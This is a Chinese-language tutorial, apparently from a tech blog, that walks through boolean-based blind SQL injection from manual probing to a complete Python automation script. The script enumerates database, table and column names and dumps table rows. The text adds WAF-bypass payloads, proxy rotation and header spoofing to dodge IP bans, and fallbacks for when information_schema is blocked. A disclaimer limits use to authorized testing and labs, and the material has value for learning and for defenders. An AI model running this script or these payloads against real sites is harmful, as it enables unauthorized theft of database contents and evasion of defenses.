发布时间:2026/7/28 9:09:34
布尔盲注实战:从原理到Python自动化脚本的完整指南 1. 项目概述从“猜”到“拿”的数据库渗透艺术如果你在渗透测试或者CTF比赛中遇到一个网站输入单引号‘会返回一个通用的错误页面输入1 and 11和1 and 12返回的页面内容却一模一样传统的基于报错或联合查询的SQL注入手法似乎瞬间失效了。别急着放弃这很可能就是布尔盲注Boolean-Based Blind SQL Injection在“守株待兔”。布尔盲注是SQL注入中一种相对“安静”但极其有效的攻击方式它不依赖数据库的直接错误回显也不要求页面能直接展示查询结果而是通过观察应用对真假逻辑判断的不同响应通常是页面内容的细微差异、HTTP状态码或响应时间像玩“猜数字”游戏一样一位一位地“盲猜”出数据库里的信息。这个项目标题“SQL注入实战布尔盲注完整流程与Python脚本详解”直指安全从业者和爱好者的核心痛点理论懂了但面对一个真实的、只有真假反馈的注入点如何系统化、自动化地完成从信息探测到数据窃取的全过程本文将彻底拆解布尔盲注的完整攻击链并手把手带你用Python实现一个功能完备的自动化脚本。我们将从最基础的原理和手工探测讲起逐步深入到Payload构造、自动化逻辑设计、脚本编码、性能优化以及实战中的各种“坑”。无论你是刚接触Web安全的新手还是想深化自动化渗透测试技能的老兵这篇详尽的指南都将为你提供一套可直接复现的“武器库”和背后的战术思想。2. 布尔盲注核心原理与手工探测流程在深入自动化之前我们必须先用手“摸”清楚目标。布尔盲注之所以成立核心在于应用程序虽然不直接显示数据或详细错误但其业务逻辑会对SQL查询语句的执行结果产生可观测的、二元化的影响。2.1 布尔盲注的工作原理假设一个简单的用户查询场景URL参数为?id1后端SQL语句可能是SELECT title, content FROM articles WHERE id 1如果存在注入我们注入?id1 and 11语句变为SELECT title, content FROM articles WHERE id 1 AND 11由于11永真查询逻辑不变页面正常显示文章1的内容。 当我们注入?id1 and 12语句变为SELECT title, content FROM articles WHERE id 1 AND 1212永假导致整个WHERE条件为假数据库查不到id1且12的记录。此时应用程序的行为可能出现分化内容差异页面可能显示“文章不存在”、“404 Not Found”或一个空白/通用的模板页。HTTP状态码差异正常情况返回200条件为假时可能仍返回200但内容不同也可能在某些框架配置下返回404。响应时间差异如果应用在查询无结果时有不同的处理逻辑如重定向、调用额外函数可能导致响应时间有微小差别这引入了时间盲注是布尔盲注的近亲。攻击者就是通过精心构造Payload将想要查询的数据如数据库名、表名、字段值转换成一个真或假的布尔条件并通过观察页面反应来推断这个条件的结果从而反推出数据。2.2 手工探测四步法在编写脚本前手工验证和探测是必不可少的它决定了后续自动化能否成功。第一步确认注入点与闭合方式首先使用经典的‘“)等字符测试参数是否被原样拼接到SQL语句中。如果页面出现错误或行为异常说明可能存在注入。接着需要判断闭合方式。例如输入?id1‘报错而?id1‘ ----是注释符用于注释掉后续SQL页面恢复正常说明原始语句可能是WHERE id‘1‘需要使用单引号闭合。第二步验证布尔条件触发这是最关键的一步目的是找到一个稳定的“真”页面和“假”页面。构造永真条件?id1‘ and 11 --构造永假条件?id1‘ and 12 --然后仔细观察两次请求返回的页面。你需要找到一个稳定、可重复的差异点。这个点可能非常细微页面某个位置的单词不同如“Welcome” vs “Article not found”。页面HTML长度不同用开发者工具查看Network标签下的Content-Length。页面中某个特定标签或字符串的存在与否如是否存在div class”error”。甚至是一个图片的加载与否。 记录下“真”页面11的特征字符串或长度作为后续判断的依据。我个人的经验是优先寻找一个在真页面中稳定出现、在假页面中绝对不出现的短字符串比如一个特定的h2标签内容这比比较整个HTML长度更可靠因为页面可能包含动态广告、时间戳等干扰内容。第三步判断当前数据库用户权限在开始爆数据前先判断一下数据库用户权限这决定了你能获取多少信息。可以尝试?id1‘ and substring(user(),1,1)‘r‘ --(猜测MySQL的root用户)?id1‘ and (select count(*) from mysql.user)0 --(尝试查询系统表仅高权限用户可行) 如果高权限Payload返回“真”那么后续可以尝试读取系统表、进行文件读写等更深入的操作。第四步手工“盲猜”一个数据为了建立信心并验证整个逻辑链可以手工猜解一个简单的数据。例如猜解当前数据库名的第一个字母。 假设我们通过报错或其他方式推测数据库可能是security。我们可以构造?id1‘ and substring(database(),1,1)‘s‘ --观察页面如果返回“真”页面说明第一个字母是‘s’。然后继续猜第二个字母substring(database(),2,1)‘e‘ 以此类推。 这个过程极其繁琐一个8位的数据库名就需要最多8*62次尝试如果考虑大小写和数字。这正是我们需要Python脚本来自动化的原因。注意在实际手工探测时务必使用Burp Suite的Repeater模块。它可以方便地修改请求、发送请求并对比响应。使用Comparer功能可以高亮显示两个响应之间的差异能快速帮你定位到那个关键的“差异点”这是肉眼难以完成的。3. 自动化脚本核心设计思路手工验证成功后我们的目标是将这个“猜数字”游戏自动化。一个健壮的布尔盲注脚本需要包含以下几个核心模块其设计思路直接决定了脚本的效率和可靠性。3.1 请求与响应处理引擎这是脚本与目标网站交互的基础。必须模拟浏览器行为处理Cookies、Session、Headers等。对于布尔盲注核心是提取判断依据。判断依据脚本需要能根据上一步手工探测的结果从HTTP响应中提取出那个关键的“特征值”。这通常通过正则表达式或简单的字符串查找来完成。例如如果真页面包含h2Article/h2而假页面没有那么脚本就可以用if “h2Article/h2“ in response.text:作为判断条件。更复杂的情况可能需要计算特定标签内的文本哈希值。会话维持很多网站需要登录态Session。使用requests.Session()对象可以自动管理Cookies确保在整个自动化过程中保持会话。错误重试与超时控制网络不稳定或目标网站有频率限制必须加入重试机制和合理的超时设置避免脚本因单次请求失败而崩溃。3.2 布尔判定逻辑这是脚本的“大脑”。它接收一个Payload发送请求然后根据预设的“特征”判断当前条件是“真”还是“假”。二值判断最简单的就是True/False。但为了容错有时可以引入“置信度”概念。例如连续请求3次2次以上符合“真”特征才判定为真以防网络抖动。时间盲注判定如果目标基于响应时间差异如SLEEP(5)则需要记录请求耗时。判定逻辑会变成如果响应时间大于某个阈值如4.5秒则为真。这里要注意减去网络延迟基线。3.3 数据猜解算法这是自动化效率的关键。我们不是在暴力枚举所有字符而是采用更高效的算法。二分查找法这是最常用的方法适用于数据是有序集合的情况。例如猜解一个ASCII字符范围32-126。算法流程是设置低位low32高位high126。计算中间值mid (lowhigh)//2。构造Payloadand ascii(substring((select database()),1,1)) mid发送请求判断真假。如果为真说明目标字符的ASCII码大于mid则low mid 1。如果为假说明目标字符的ASCII码小于等于mid则high mid。重复步骤2-4直到low high此时的low或high即为目标字符的ASCII码。 对于一个字符二分查找最多只需要log2(126-32) ≈ 7次请求远优于暴力枚举的95次。位运算逐位判断另一种思路是判断字符ASCII码的每一位是0还是1。例如判断第7位最高位and (ascii(substring(...)) 64) 64。一个字符只需7次请求ASCII码0-127。这种方法请求次数固定且逻辑简单。3.4 Payload构造与编码模块SQL注入Payload经常需要对特殊字符进行URL编码或二次编码以绕过WAFWeb应用防火墙。脚本需要能灵活构造各种Payload。基础Payload模板如{prefix} and {condition} {comment}。其中{prefix}是闭合原有参数的部分如1‘{condition}是我们的布尔条件{comment}是注释符如--或#。条件替换{condition}部分需要根据猜解的数据位置和算法动态生成。例如对于二分查找条件就是ascii(substring(({query}), {pos}, 1)) {mid}。编码处理使用requests库时通常用params字典传递参数会自动进行URL编码。但某些特殊字符如空格、注释符--可能需要根据目标环境进行特殊处理。有时需要将空格替换为/**/或来绕过过滤。3.5 流程控制与结果输出脚本需要按顺序执行获取数据库名 - 获取表名 - 获取字段名 - 逐行获取数据。每个阶段都需要调用猜解算法。同时需要有一个清晰的进度提示和结果输出方便用户观察进度。进度可视化在命令行中显示进度条或当前正在猜解的数据位置能极大提升体验。结果存储将获取到的数据库名、表名、字段值结构化的保存到文件如JSON或TXT中便于后续分析。异常处理对网络错误、意料之外的响应格式、猜解逻辑异常等进行捕获和处理记录日志避免脚本无声无息地失败。4. Python自动化脚本分步实现与详解下面我们将按照设计思路用Python实现一个功能完整的布尔盲注脚本。我们将使用requests库处理HTTP请求argparse库处理命令行参数。4.1 环境准备与脚本骨架首先确保你安装了Python3和requests库。如果没有使用pip安装pip install requests。我们创建一个名为boolean_blind_sqli.py的文件并搭建基础骨架#!/usr/bin/env python3 布尔盲注自动化利用脚本 Author: Security Researcher import requests import time import sys from urllib.parse import quote_plus class BooleanBlindSQLi: def __init__(self, target_url, param_name, true_indicator, is_postFalse, dataNone, cookiesNone, headersNone): 初始化目标信息 :param target_url: 目标URL (e.g., http://target.com/page.php) :param param_name: 存在注入的参数名 (e.g., id) :param true_indicator: 真条件响应中包含的特征字符串 (e.g., h2Article/h2) :param is_post: 是否为POST请求默认为GET :param data: POST数据字典如果is_post为True :param cookies: 可选的Cookies字典 :param headers: 可选的请求头字典 self.target_url target_url self.param_name param_name self.true_indicator true_indicator self.is_post is_post self.base_data data if data else {} self.session requests.Session() if cookies: self.session.cookies.update(cookies) if headers: self.session.headers.update(headers) # 添加一个常见的浏览器User-Agent头避免被简单屏蔽 if ‘User-Agent‘ not in self.session.headers: self.session.headers.update({ ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36‘ }) # 用于统计请求次数 self.request_count 0 def send_payload(self, payload): 发送包含Payload的请求并检查响应中是否包含真特征 self.request_count 1 if self.is_post: data self.base_data.copy() data[self.param_name] payload resp self.session.post(self.target_url, datadata, timeout10) else: # GET请求将Payload拼接到参数中 params {self.param_name: payload} resp self.session.get(self.target_url, paramsparams, timeout10) # 简单的特征字符串判断可根据需要扩展为正则匹配或更复杂的逻辑 return self.true_indicator in resp.text def test_connection(self): 测试连接和基础真/假条件是否工作 print(“[*] 测试基础连接与布尔条件...“) true_test f“1‘ and 11 --“ false_test f“1‘ and 12 --“ if self.send_payload(true_test): print(“[] 永真条件测试通过。“) else: print(“[-] 永真条件测试失败请检查true_indicator或注入点。“) return False if not self.send_payload(false_test): print(“[] 永假条件测试通过。“) else: print(“[-] 永假条件测试失败真/假页面可能无法区分。“) return False print(f“[] 基础测试成功。当前注入Payload模板: {{param}}‘ and {{condition}} --“) return True这个__init__方法初始化了所有必要信息send_payload方法是核心它发送请求并返回布尔值。test_connection方法用于验证我们手工探测的结论是否适用于脚本。4.2 实现二分查找猜解算法接下来我们在类中添加一个通用的猜解函数它使用二分查找法猜解一个字符串的某个位置字符。def binary_search_char(self, query, position): 使用二分查找法猜解query结果中第position个字符的ASCII码 :param query: 要执行的SQL查询语句 (e.g., “select database()“) :param position: 要猜解的位置从1开始 :return: 猜解到的字符如果出错返回None low, high 32, 126 # 可打印字符的ASCII范围 while low high: mid (low high) // 2 # 构造Payload判断当前位置字符的ASCII码是否大于mid # 注意这里假设注入点为字符型使用单引号闭合。如果是数字型需去掉单引号。 payload f“1‘ and ascii(substring(({query}), {position}, 1)) {mid} --“ # 发送请求并判断 if self.send_payload(payload): # 如果为真说明字符ASCII mid调整下界 low mid 1 else: # 如果为假说明字符ASCII mid调整上界 high mid # 当low high时即为目标字符的ASCII码 if low high and 32 low 126: return chr(low) else: # 可能猜解到不可打印字符或出错 return None def binary_search_string(self, query, max_len50): 猜解整个字符串直到遇到非可打印字符或达到最大长度 :param query: SQL查询语句 :param max_len: 最大猜解长度 :return: 猜解到的字符串 result ““ for i in range(1, max_len 1): char self.binary_search_char(query, i) if char is None: print(f“\n[-] 在第 {i} 位猜解到空或不可打印字符终止。“) break result char # 实时输出进度 sys.stdout.write(f“\r[*] 猜解中: {result}“) sys.stdout.flush() # 如果连续多个字符是终止符如NULL可以考虑提前结束这里简单处理 print() # 换行 return result.rstrip(‘\x00‘) # 去除可能的空字符binary_search_char函数是二分查找的核心。binary_search_string函数则循环调用它猜解出整个字符串。这里设置max_len是为了防止无限循环对于数据库名、表名通常足够。4.3 实现完整的注入流程现在我们将各个步骤串联起来实现从数据库名到表名、字段名再到数据的完整流程。def get_database_name(self): 获取当前数据库名称 print(“\n[ 步骤1: 获取当前数据库名 ]“) query “select database()“ db_name self.binary_search_string(query) if db_name: print(f“[] 当前数据库名: {db_name}“) return db_name else: print(“[-] 获取数据库名失败。“) return None def get_tables(self, db_name, limit10): 获取指定数据库中的表名 print(f“\n[ 步骤2: 获取数据库 {db_name} 中的表名 ]“) # 注意不同的数据库系统查询表名的SQL不同。这里是MySQL的示例。 query f“select table_name from information_schema.tables where table_schema‘{db_name}‘ limit {limit}“ # 我们需要猜解多行数据。这里简单处理猜解一个长字符串其中表名以特定分隔符连接。 # 更优的方法是先猜解表数量再循环猜解每个表名。为了简化我们猜解一个拼接字符串。 query_concat f“select group_concat(table_name separator ‘,‘) from information_schema.tables where table_schema‘{db_name}‘“ tables_str self.binary_search_string(query_concat, max_len500) if tables_str: tables tables_str.split(‘,‘) print(f“[] 发现 {len(tables)} 张表: {tables}“) return tables else: print(“[-] 获取表名失败。“) return [] def get_columns(self, db_name, table_name, limit20): 获取指定表的字段名 print(f“\n[ 步骤3: 获取表 {table_name} 的字段名 ]“) # MySQL示例 query f“select group_concat(column_name separator ‘,‘) from information_schema.columns where table_schema‘{db_name}‘ and table_name‘{table_name}‘“ columns_str self.binary_search_string(query, max_len500) if columns_str: columns columns_str.split(‘,‘) print(f“[] 表 {table_name} 的字段: {columns}“) return columns else: print(f“[-] 获取表 {table_name} 的字段失败。“) return [] def dump_table_data(self, db_name, table_name, columns, row_limit5): dump指定表的数据 print(f“\n[ 步骤4: 导出表 {table_name} 的数据 (前{row_limit}行) ]“) # 构造查询语句将多个字段值拼接起来 # 例如: select concat_ws(‘|‘, id, username, password) from users limit 5 concat_columns “, ‘ | ‘, “.join(columns) # 用 ‘ | ‘ 连接字段值 query f“select concat_ws(‘ | ‘, {concat_columns}) from {db_name}.{table_name} limit {row_limit}“ # 猜解多行数据。这里再次使用group_concat将所有行用‘‘连接。 query_concat f“select group_concat(concat_ws(‘ | ‘, {concat_columns}) separator ‘‘) from {db_name}.{table_name} limit {row_limit}“ data_str self.binary_search_string(query_concat, max_len2000) if data_str: rows data_str.split(‘‘) print(f“[] 表 {table_name} 的数据:”) for i, row in enumerate(rows, 1): print(f“ 行{i}: {row}“) return rows else: print(f“[-] 导出表 {table_name} 数据失败或无数据。“) return []这些方法构成了主流程。注意在get_tables和dump_table_data中我们使用了group_concat和concat_ws函数来将多行数据合并为一个字符串进行猜解这大大减少了请求次数。分隔符‘,‘ ‘ | ‘ ‘‘需要选择目标数据中不太可能出现的字符。4.4 添加主函数与参数解析最后我们添加主函数来让脚本可以通过命令行运行并传入目标参数。def main(): import argparse parser argparse.ArgumentParser(description‘布尔盲注自动化利用脚本‘) parser.add_argument(‘-u‘, ‘--url‘, requiredTrue, help‘目标URL‘) parser.add_argument(‘-p‘, ‘--param‘, requiredTrue, help‘存在注入的参数名‘) parser.add_argument(‘-i‘, ‘--indicator‘, requiredTrue, help‘真条件响应中包含的特征字符串‘) parser.add_argument(‘--post‘, action‘store_true‘, help‘使用POST请求‘) parser.add_argument(‘--data‘, help‘POST请求数据 (e.g., “useradminpasstest“)注入参数值用INJECT占位‘) parser.add_argument(‘--cookies‘, help‘Cookies字符串 (e.g., “PHPSESSIDabc123;“)‘) args parser.parse_args() # 处理Cookies cookies_dict {} if args.cookies: for item in args.cookies.split(‘;‘): if ‘‘ in item: key, value item.strip().split(‘‘, 1) cookies_dict[key] value # 处理POST数据 post_data None if args.post and args.data: post_data {} for item in args.data.split(‘‘): key, value item.split(‘‘, 1) post_data[key] value.replace(‘INJECT‘, ‘{payload}‘) # 占位符将在send_payload中替换 # 注意我们的脚本目前send_payload是直接替换整个参数值。更优雅的方式是只替换占位符。 # 为了简化如果使用--post我们假设整个参数值就是Payload不使用占位符。 # 更完善的版本需要修改send_payload逻辑来处理占位符。 print(“[!] 注意当前--post模式下将直接替换整个参数值。如需复杂数据请修改脚本。“) # 创建注入对象 injector BooleanBlindSQLi( target_urlargs.url, param_nameargs.param, true_indicatorargs.indicator, is_postargs.post, datapost_data, cookiescookies_dict ) # 测试连接 if not injector.test_connection(): print(“[-] 初始化测试失败请检查参数和网络。“) sys.exit(1) # 开始自动化注入流程 try: db_name injector.get_database_name() if not db_name: sys.exit(1) tables injector.get_tables(db_name, limit5) if not tables: print(“[-] 未发现表可能权限不足或查询有误。“) # 可以尝试其他查询如查询当前用户有权限的表 # query “select table_name from information_schema.tables where table_schemadatabase()“ sys.exit(1) # 假设我们对第一张表感兴趣 target_table tables[0] print(f“\n[*] 选择表 {target_table} 进行进一步操作。“) columns injector.get_columns(db_name, target_table) if not columns: sys.exit(1) # 导出前3行数据 injector.dump_table_data(db_name, target_table, columns, row_limit3) print(f“\n[] 注入流程完成总计发送请求数: {injector.request_count}“) except KeyboardInterrupt: print(“\n\n[!] 用户中断。“) except Exception as e: print(f“\n[-] 发生错误: {e}“) import traceback traceback.print_exc() if __name__ ‘__main__‘: main()4.5 脚本使用示例假设目标URL是http://vuln-site.com/article.php参数id存在布尔盲注当条件为真时页面包含字符串“h2Article/h2“。命令行运行python boolean_blind_sqli.py -u “http://vuln-site.com/article.php“ -p “id“ -i “h2Article/h2“脚本将自动执行测试连接 - 获取数据库名 - 获取前5个表名 - 获取第一个表的所有字段 - 导出前3行数据。对于POST请求假设登录表单username参数存在注入真页面包含“Login success“python boolean_blind_sqli.py -u “http://vuln-site.com/login.php“ -p “username“ -i “Login success“ --post --data “usernameINJECTpasswordany“实操心得在实战中true_indicator的选择至关重要。最好选择一个在页面中唯一且稳定的短字符串。避免使用包含动态内容如时间、会话ID的部分。使用Burp Suite的Comparer进行差异对比是找到这个特征的最快方法。有时真/假页面的HTTP响应头如Content-Length也可能不同可以修改send_payload方法通过比较len(resp.content)来判断。5. 高级技巧、优化与常见问题排查一个基础的脚本能工作但一个健壮的脚本需要考虑更多。以下是提升脚本效率和稳定性的关键点。5.1 性能优化策略布尔盲注最大的缺点是速度慢。猜解一个几十位的字符串可能需要数百次请求。以下优化手段可以显著提升速度并发请求这是最有效的优化。可以使用concurrent.futures库的ThreadPoolExecutor来并发发送多个二分查找的请求。例如在猜解一个字符时可以同时发送判断位7、位6、位5...的请求位运算方式或者将二分查找的区间预先分成几段并发查询。但要注意高并发请求极易触发目标的WAF或速率限制导致IP被封。务必设置合理的并发数如3-5个线程和请求间隔。from concurrent.futures import ThreadPoolExecutor, as_completed def binary_search_char_concurrent(self, query, position): 使用并发位运算猜解一个字符 bits [64, 32, 16, 8, 4, 2, 1] # ASCII码各位的权值 char_bits [0] * 7 # 存储每一位的结果 def check_bit(bit_val): payload f“1‘ and (ascii(substring(({query}), {position}, 1)) {bit_val}) {bit_val} --“ return bit_val if self.send_payload(payload) else 0 with ThreadPoolExecutor(max_workers3) as executor: # 控制并发数 future_to_bit {executor.submit(check_bit, bit): bit for bit in bits} for future in as_completed(future_to_bit): bit_val future_to_bit[future] try: result future.result() if result: char_bits[bits.index(bit_val)] 1 except Exception as exc: print(f‘位 {bit_val} 请求产生异常: {exc}‘) # 计算字符ASCII码 ascii_val sum([char_bits[i] * bits[i] for i in range(7)]) return chr(ascii_val) if 32 ascii_val 126 else None减少请求次数猜解长度在猜解字符串前先猜解其长度。select length(database())。知道了长度binary_search_string就可以精确循环避免猜解多余的空字符。使用substr与like结合对于已知部分模式的数据如表名可能是admin_开头可以先用like进行模糊匹配缩小范围再用二分查找精确定位。and (select table_name from ...) like ‘admin%‘。优先猜解常见字符集数据库名、表名通常由字母、数字、下划线组成。可以将二分查找的初始范围从(32,126)缩小到(48,57)数字、(65,90)大写、(97,122)小写和95下划线按优先级尝试。智能延迟与错误处理在循环中增加随机延迟time.sleep(random.uniform(0.5, 2))模拟人工操作避免被风控。同时对网络超时、连接错误等进行重试。5.2 绕过常见过滤与WAF目标网站可能对SQL关键字、空格、引号等进行过滤。关键字过滤使用大小写混淆、双写、内联注释等方式。SELECT-SeLeCt,SELSELECTECT(如果过滤是删除SELECT)SEL/*!*/ECT(MySQL内联注释)。脚本中可以将Payload中的关键字预先进行混淆处理。空格过滤使用注释符/**/、括号()、换行符%0a、制表符%09代替空格。1‘ and 11 ---1‘/**/and/**/11/**/--在脚本的send_payload方法中可以对生成的Payload进行全局空格替换。引号过滤如果单引号被过滤在MySQL中可以使用十六进制编码或char()函数。‘admin‘-0x61646D696E或char(97,100,109,105,110)。在构造query时如果涉及字符串比较需要将值转换为十六进制。例如猜解数据库名第一个字符是否为‘a‘and hex(substr(database(),1,1))hex(‘a‘)可以改为and hex(substr(database(),1,1))0x61。5.3 实战常见问题与排查脚本判断始终为真或始终为假检查true_indicator这是最常见的原因。页面可能发生了微小的动态变化。重新用Burp Suite对比真/假响应找一个更稳定的特征。或者尝试使用响应长度len(resp.content)作为判断依据。检查闭合方式与注释符确认注入点的闭合方式数字型、字符型单引号/双引号、带括号。确认注释符是否正确MySQL是--后面有个空格或#有时需要URL编码为--或%23。检查编码确保Payload发送时编码正确。在send_payload方法中打印出发送前的最终URL或数据包用Burp Suite的Repeater手动发送一次对比差异。猜解出的数据乱码或不对字符集问题数据库和脚本处理可能存在字符集差异。确保你的脚本和终端能处理目标数据的字符集如UTF-8。在Python3中字符串默认是Unicode通常问题不大。二分查找边界问题确认ASCII码范围。有些数据可能包含扩展ASCII字符126或Unicode。可以适当调高high值或先判断字符是否在常见范围内。Payload被截断目标可能有参数长度限制。过长的group_concat可能导致Payload被截断猜解出不完整数据。尝试减小limit或分多次查询。请求被中断或封IP降低频率增加请求间隔使用随机延迟。使用代理池如果条件允许让脚本通过一系列代理服务器发送请求。修改请求头轮换User-Agent添加或删除一些常见的HTTP头如X-Forwarded-For。处理Session过期如果注入点需要登录态且Session会过期脚本需要能检测到登录页面跳转如响应中包含login关键字并尝试自动重新登录如果凭证已知。这需要更复杂的会话管理逻辑。information_schema不可访问 在一些严格的生产环境或某些数据库版本如高版本MySQL对权限控制更严中当前用户可能无权访问information_schema。此时需要尝试其他方法MySQL可以尝试访问mysql库中的innodb_index_stats、innodb_table_stats等表或者利用sysschema如果存在。基于错误的盲注如果目标在SQL语法错误时有不同响应非盲注可以尝试结合报错注入函数如updatexml()extractvalue()来获取信息即使不显示错误内容但真/假条件可能因此不同。暴力猜解表名通过and (select count(*) from guessed_table) 0来盲猜是否存在某张表。可以结合常见表名字典。最后我必须强调这个脚本以及文中描述的技术仅限用于授权的安全测试、CTF比赛或个人在合法靶场如DVWA SQLi-Labs Pikachu的学习研究。未经授权对任何系统进行渗透测试是违法行为。真正的安全工程师价值在于利用这些知识去发现和修复漏洞构建更安全的系统。希望这篇超详细的指南能帮助你彻底理解布尔盲注的奥妙并将自动化思维应用到更广阔的安全研究领域中去。在实战中耐心和细致的观察往往比工具本身更重要。

相关新闻

2026/7/28 9:09:34

一篇双引擎进化的长程Agents系统性综述

今天分享人大,北大,清华等联合发表的最新长时程Agent综述: 这篇149页的综述给出了长时程Agent(Long-Horizon Agent)的第一个统一形式化定义Agent πθ ⊕ H,即”基座策略 ⊕ 运行时Harness”的耦合系统&am…

2026/7/28 12:29:48

Unity对话系统设计:从数据驱动到可扩展架构实现

1. 项目概述:从零构建一个可复用的点击对话系统在Unity里做游戏,尤其是RPG、AVG或者带剧情的独立游戏,对话系统几乎是绕不开的一环。你可能试过用UI Text组件一行行显示,或者用一些简单的协程控制打字机效果,但当角色多…

2026/7/28 12:29:48

大模型文本分块技术:原理、实践与优化

1. 什么是Chunk?大模型处理长文本的核心技术 在AI大模型开发领域,chunk(分块)是处理超长文本输入的基础技术单元。当开发者面对需要喂给大模型的万字文档、百万级代码库或海量数据集时,直接完整输入往往会遇到模型上下…

2026/7/28 12:29:48

文档下载困境如何破解?一个脚本搞定30+平台限制

文档下载困境如何破解?一个脚本搞定30平台限制 【免费下载链接】kill-doc 看到经常有小伙伴们需要下载一些免费文档,但是相关网站浏览体验不好各种广告,各种登录验证,需要很多步骤才能下载文档,该脚本就是为了解决您的…

2026/7/28 12:29:48

如何快速掌握Wallpaper Engine资源提取:RePKG完全指南

如何快速掌握Wallpaper Engine资源提取:RePKG完全指南 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg RePKG是一款专为Wallpaper Engine设计的强大资源提取工具&#xf…

2026/7/28 12:24:47

物联网设备硬件级安全方案与SE050集成实践

1. 为什么物联网设备需要硬件级安全方案 在智能家居和工业物联网项目中,我见过太多因安全漏洞导致的数据泄露案例。去年参与某智慧农业项目时,就遇到过传感器节点被恶意注入虚假数据的攻击。传统基于软件的安全方案(如TLS加密)存在…

2026/7/27 9:04:58

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

一、背景与测试方案 在实际项目交付中,PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及:多源PDF的文件流合并、页面级水印渲染(含透明度混合与图层叠加)、输出文件体积控制。看似简单的操作…

2026/7/28 0:03:34

学术论文研究创新点梳理与核心价值提炼指南

本科毕业论文是大学四年最大的坎。开题报告憋一周写不出三页,找文献翻遍十几个网站还是缺关键资料,写正文卡壳半天憋不出一句话,降重改到凌晨三点结果逻辑全乱,答辩前一天PPT还没做完。别慌,亲测这四个工具能让你少熬半…

2026/7/28 0:03:34

开发商售楼处数字化升级怎么做?

房企的数字化转型投入正在快速增长,据行业数据显示,2025年房企数字化投入规模已突破800亿元,年复合增长率达35%。售楼处的数字化升级不是单一环节的改造,而是从“获客-展示-成交-服务”全链路的系统升级。数字化升级四步法第一步&…

2026/7/28 0:03:34

模型不再值钱之后,AI 编程工具在争什么

2026 年 7 月,AI 编程工具赛道发生了一个标志性转折:模型本身不再值钱了。当 Kimi K3 开源模型在编程基准上击败 GPT 和 Claude,当 GitHub Copilot 第一次把开源模型纳入选择器,当 OpenAI 把 Codex 并入 ChatGPT 做成三合一超级应…

2026/7/28 4:38:09

3个高效策略:快速掌握Axure中文界面配置

3个高效策略:快速掌握Axure中文界面配置 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 还在为Axure RP的英文界面感…